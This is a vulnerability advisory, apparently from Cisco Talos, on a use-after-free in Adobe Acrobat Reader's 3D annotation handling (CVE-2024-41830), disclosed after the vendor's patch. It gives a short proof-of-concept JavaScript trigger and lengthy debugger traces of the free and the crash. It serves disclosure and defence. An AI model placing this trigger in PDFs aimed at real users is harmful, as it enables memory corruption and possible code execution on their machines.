CVE-2024-41830
A use-after-free vulnerability exists in the AV3DVirtAnnot functionality of Adobe Acrobat Reader 2024.002.20759. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Adobe Acrobat Reader 2024.002.20759
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.
Adobe’s PDF Reader creates an AV3DVirtAnnot
object if a page contains a 3D type image. There exists a use-after-free vulnerability in the way Adobe Acrobat Reader handles an AV3DVirtAnnot
object. This can be illustrated by the following proof-of-concept code:
function main() {
app.activeDocs[0].getField('Check Box0').setFocus();
getField("txt2").setAction("Format",'set_page();');
app.activeDocs[0].zoomType = zoomtype.fitH;
}
function set_page() {
app.activeDocs[0].pageNum = 0;
}
In the above excerpt, a callback set_page
is set to the Format
action of the txt2
field. When the callback is triggered, it sets the page. This call frees a number of objects, including the AV3DVirtAnnot
object. The use-after-free vulnerability occurs when the freed AV3DVirtAnnot
object is used without any validation. We can observe the following in the debugger (with PageHeap enabled):
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25beff esp=04cfe590 ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e561f:
6f25beff 50 push eax
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf00 esp=04cfe58c ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5620:
6f25bf00 684c020000 push 24Ch ;<------------------------- (1)
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf05 esp=04cfe588 ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5625:
6f25bf05 668901 mov word ptr [ecx],ax ds:002b:c1afbf1e=0000
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf08 esp=04cfe588 ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5628:
6f25bf08 e81fb00cff call AcroRd32!AcroWinMainSandbox+0x4afc (6e326f2c) ;<------------------------- (2)
0:000> p
eax=c45c4db0 ebx=00000000 ecx=00000001 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf0d esp=04cfe588 ebp=04cfe62c iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e562d:
6f25bf0d 59 pop ecx
0:000> dd eax
c45c4db0 00000000 00000000 00000000 00000000
c45c4dc0 00000000 00000000 00000000 00000000
c45c4dd0 00000000 00000000 00000000 00000000
c45c4de0 00000000 00000000 00000000 00000000
c45c4df0 00000000 00000000 00000000 00000000
c45c4e00 00000000 00000000 00000000 00000000
c45c4e10 00000000 00000000 00000000 00000000
c45c4e20 00000000 00000000 00000000 00000000
0:000> pc
eax=c45c4db0 ebx=00000000 ecx=c1afbe40 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf1c esp=04cfe590 ebp=04cfe62c iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e563c:
6f25bf1c e8bf192fff call AcroRd32!DllCanUnloadNow+0x1f26b0 (6e54d8e0)
0:000> pc
eax=04cfe5b8 ebx=00000000 ecx=04cfe578 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf2f esp=04cfe574 ebp=04cfe62c iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e564f:
6f25bf2f e8efd088ff call AcroRd32!ixVectorNextHit+0x2618a3 (6eae9023)
0:000> p
eax=04cfe578 ebx=00000000 ecx=04cfe578 edx=04cfe5b8 esi=c1afbf00 edi=c1afbe40
eip=6f25bf34 esp=04cfe578 ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5654:
6f25bf34 8b4de4 mov ecx,dword ptr [ebp-1Ch] ss:002b:04cfe610=c45c4db0
0:000> p
eax=04cfe578 ebx=00000000 ecx=c45c4db0 edx=04cfe5b8 esi=c1afbf00 edi=c1afbe40
eip=6f25bf37 esp=04cfe578 ebp=04cfe62c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5657:
6f25bf37 e8725bfeff call AcroRd32!AIDE::PixelPartInfo::operator=+0x4cb1ce (6f241aae) ;<------------------------- (3)
0:000> p
eax=c45c4db0 ebx=00000000 ecx=6f241d57 edx=04cfe578 esi=c1afbf00 edi=c1afbe40
eip=6f25bf3c esp=04cfe590 ebp=04cfe62c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e565c:
6f25bf3c eb02 jmp AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5660 (6f25bf40)
0:000> dd eax ;<------------------------- (4)
c45c4db0 6fec6444 00000000 00000000 ffffffff
c45c4dc0 00000000 00000000 00000000 00000000
c45c4dd0 00000000 00000000 00000000 00000000
c45c4de0 00000000 00000000 00000000 00000001
c45c4df0 ab6bcea8 c1470ff8 0000002a 00000000
c45c4e00 6fd583d0 bbe00fe8 00000000 00000000
c45c4e10 00000000 00000000 00000000 00000000
c45c4e20 00000000 00000000 00000000 00000000
At (2)
above, a function is called which calls malloc
to allocate an AV3DVirtAnnot
object of the size 0x24C
. The initializiation of the AV3DVirtAnnot
object happens by call at (3)
. We can observe the buffer value after the initializiation at (4)
.
0:000> g
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=baf5910d edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f24247e esp=04cfd8a4 ebp=04cfd8b8 iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbb9e:
6f24247e 56 push esi ;<---------------- (5)
0:000> p
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=baf5910d edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f24247f esp=04cfd8a0 ebp=04cfd8b8 iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200280
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbb9f:
6f24247f e88c830eff call AcroRd32!AcroWinMainSandbox+0x83e0 (6e32a810) ;<---------------- (6)
0:000> dd esi ;<---------------- (7)
c45c4db0 6fb8dc00 00000000 00000000 ffffffff
c45c4dc0 00000000 00000000 00000000 00000278
c45c4dd0 000000c5 0000030c 00000001 00000001
c45c4de0 00000000 00000000 00000000 00000001
c45c4df0 ab6bcea8 c1470ff8 0000002a c4604d70
c45c4e00 6fb8dc00 bbe00fe8 00000000 00000000
c45c4e10 00000000 00000000 00000000 00000000
c45c4e20 00000000 00000000 00000000 00000000
0:000> p
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=c45c4db0 edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f242484 esp=04cfd8a0 ebp=04cfd8b8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbba4:
6f242484 eb0c jmp AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbbb2 (6f242492)
0:000> dd esi ;<---------------- (8)
c45c4db0 ???????? ???????? ???????? ????????
c45c4dc0 ???????? ???????? ???????? ????????
c45c4dd0 ???????? ???????? ???????? ????????
c45c4de0 ???????? ???????? ???????? ????????
c45c4df0 ???????? ???????? ???????? ????????
c45c4e00 ???????? ???????? ???????? ????????
c45c4e10 ???????? ???????? ???????? ????????
c45c4e20 ???????? ???????? ???????? ????????
The method called at (6)
eventually calls free
. The argument of the free
function comes from the esi
register at (5)
. The value of the vulnerable buffer is examined at (7)
and (8)
, shows its value before and after the free
function is called. The vulnerable freed buffer is later used without any validation. This can be observed in a debugger at the time of the crash:
(1e38.1d7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c45c4e88 ebx=c1afbe40 ecx=04cfea08 edx=c45c4e88 esi=c1afbe40 edi=00000000
eip=6eae9033 esp=04cfe9c8 ebp=04cfe9cc iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210282
AcroRd32!ixVectorNextHit+0x2618b3:
6eae9033 8b4204 mov eax,dword ptr [edx+4] ds:002b:c45c4e8c=????????
0:000> dd edx
c45c4e88 ???????? ???????? ???????? ????????
c45c4e98 ???????? ???????? ???????? ????????
c45c4ea8 ???????? ???????? ???????? ????????
c45c4eb8 ???????? ???????? ???????? ????????
c45c4ec8 ???????? ???????? ???????? ????????
c45c4ed8 ???????? ???????? ???????? ????????
c45c4ee8 ???????? ???????? ???????? ????????
c45c4ef8 ???????? ???????? ???????? ????????
0:000> u
AcroRd32!ixVectorNextHit+0x2618b3:
6eae9033 8b4204 mov eax,dword ptr [edx+4]
6eae9036 894104 mov dword ptr [ecx+4],eax
6eae9039 8b4208 mov eax,dword ptr [edx+8]
6eae903c 894108 mov dword ptr [ecx+8],eax
6eae903f 85c0 test eax,eax
6eae9041 7409 je AcroRd32!ixVectorNextHit+0x2618cc (6eae904c)
6eae9043 8945fc mov dword ptr [ebp-4],eax
6eae9046 8b45fc mov eax,dword ptr [ebp-4]
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04cfe9cc 6f24dbdf c45c4e88 c45c4db0 04cfea3c AcroRd32!ixVectorNextHit+0x2618b3
01 04cfe9dc 6f25a6bc 04cfea08 baf5a3ad 00000000 AcroRd32!AIDE::PixelPartInfo::operator=+0x4d72ff
02 04cfea3c 6f25b6d7 baf5a3f5 c014eab8 c45c4f84 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e3ddc
03 04cfea64 6f24ef18 baf5a299 04cfeb68 04cfeb88 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e4df7
04 04cfeb08 6f2587ad 00000001 00000000 00000000 AcroRd32!AIDE::PixelPartInfo::operator=+0x4d8638
05 04cfeba8 6e5fa8e6 00000004 baf5a591 ab878ff8 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e1ecd
06 04cfec00 6e5fa78e 00000004 04cfed24 6e5f7a3f AcroRd32!DllCanUnloadNow+0x29f6b6
07 04cfec0c 6e5f7a3f c1afbe40 dfc0eef0 00000004 AcroRd32!DllCanUnloadNow+0x29f55e
08 04cfed24 6e5f75ca dfc0eef0 04cfedfc 00000004 AcroRd32!DllCanUnloadNow+0x29c80f
09 04cfed3c 6e529d48 dfc0eef0 04cfedfc baf5a7bd AcroRd32!DllCanUnloadNow+0x29c39a
0a 04cfee2c 6e5290cb dfc0eef0 04cfef54 00000000 AcroRd32!DllCanUnloadNow+0x1ceb18
0b 04cfef78 6e5281da dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1cde9b
0c 04cfefd8 6e527fd5 dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1ccfaa
0d 04cff058 6e526751 dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1ccda5
0e 04cff11c 6e526124 00000001 00000000 baf5b8e9 AcroRd32!DllCanUnloadNow+0x1cb521
0f 04cff178 6e525edb e2612ef0 00000001 baf5b84d AcroRd32!DllCanUnloadNow+0x1caef4
10 04cff1dc 6e525b70 04cff1f8 baf5bb75 ab6b8f88 AcroRd32!DllCanUnloadNow+0x1cacab
11 04cff2e4 6e395760 0000000f 6e395650 ab6b8f88 AcroRd32!DllCanUnloadNow+0x1ca940
12 04cff2fc 6e395600 0000000f 00000000 00000000 AcroRd32!DllCanUnloadNow+0x3a530
13 04cff31c 75f4199b 000c0534 0000000f 00000000 AcroRd32!DllCanUnloadNow+0x3a3d0
14 04cff348 75f37dba 6e395530 000c0534 0000000f USER32!AddClipboardFormatListener+0x4b
15 04cff430 75f379ba 6e395530 00000000 0000000f USER32!GetClassLongW+0x7aa
16 04cff494 75f3bebf 0a9b9810 00000000 0000000f USER32!GetClassLongW+0x3aa
17 04cff4d0 76fe50dd 04cff4ec 00000020 04cff55c USER32!CallNextHookEx+0x19f
18 04cff56c 75f36210 0000000f 04cff590 6e3a6735 ntdll!KiUserCallbackDispatcher+0x4d
19 04cff578 6e3a6735 04cff5ac 2197ed98 2197ed98 USER32!DispatchMessageW+0x10
1a 04cff590 6e3a5efe 04cff5ac baf5bf95 2197ed98 AcroRd32!DllCanUnloadNow+0x4b505
1b 04cff604 6e3a5d2f baf5bfad 2197ed98 00000000 AcroRd32!DllCanUnloadNow+0x4acce
1c 04cff63c 6e322b75 baf5bf21 125b0fb8 00000000 AcroRd32!DllCanUnloadNow+0x4aaff
1d 04cff6b0 6e3225bc 6e180000 002d0000 125b0fb8 AcroRd32!AcroWinMainSandbox+0x745
1e 04cffad4 0049a365 6e180000 002d0000 125b0fb8 AcroRd32!AcroWinMainSandbox+0x18c
1f 04cfff24 0050e14a 002d0000 00000000 0963ae18 AcroRd32_exe!IsSandboxedProcess+0x114a95
20 04cfff70 758cfcc9 04acc000 758cfcb0 04cfffdc AcroRd32_exe!AcroRd32IsBrokerProcess+0x1d65a
21 04cfff80 76fd7cbe 04acc000 482f64f6 00000000 KERNEL32!BaseThreadInitThunk+0x19
22 04cfffdc 76fd7c8e ffffffff 76ff8d2c 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0x11e
23 04cfffec 00000000 00495f60 04acc000 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0xee
In the above debugger output, the crash occurs when edx
is dereferenced, as if it were an object pointer. Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.
2024-06-25 - Vendor Disclosure
2024-08-13 - Vendor Patch Release
2024-08-13 - Public Release
Discovered by KPC of Cisco Talos.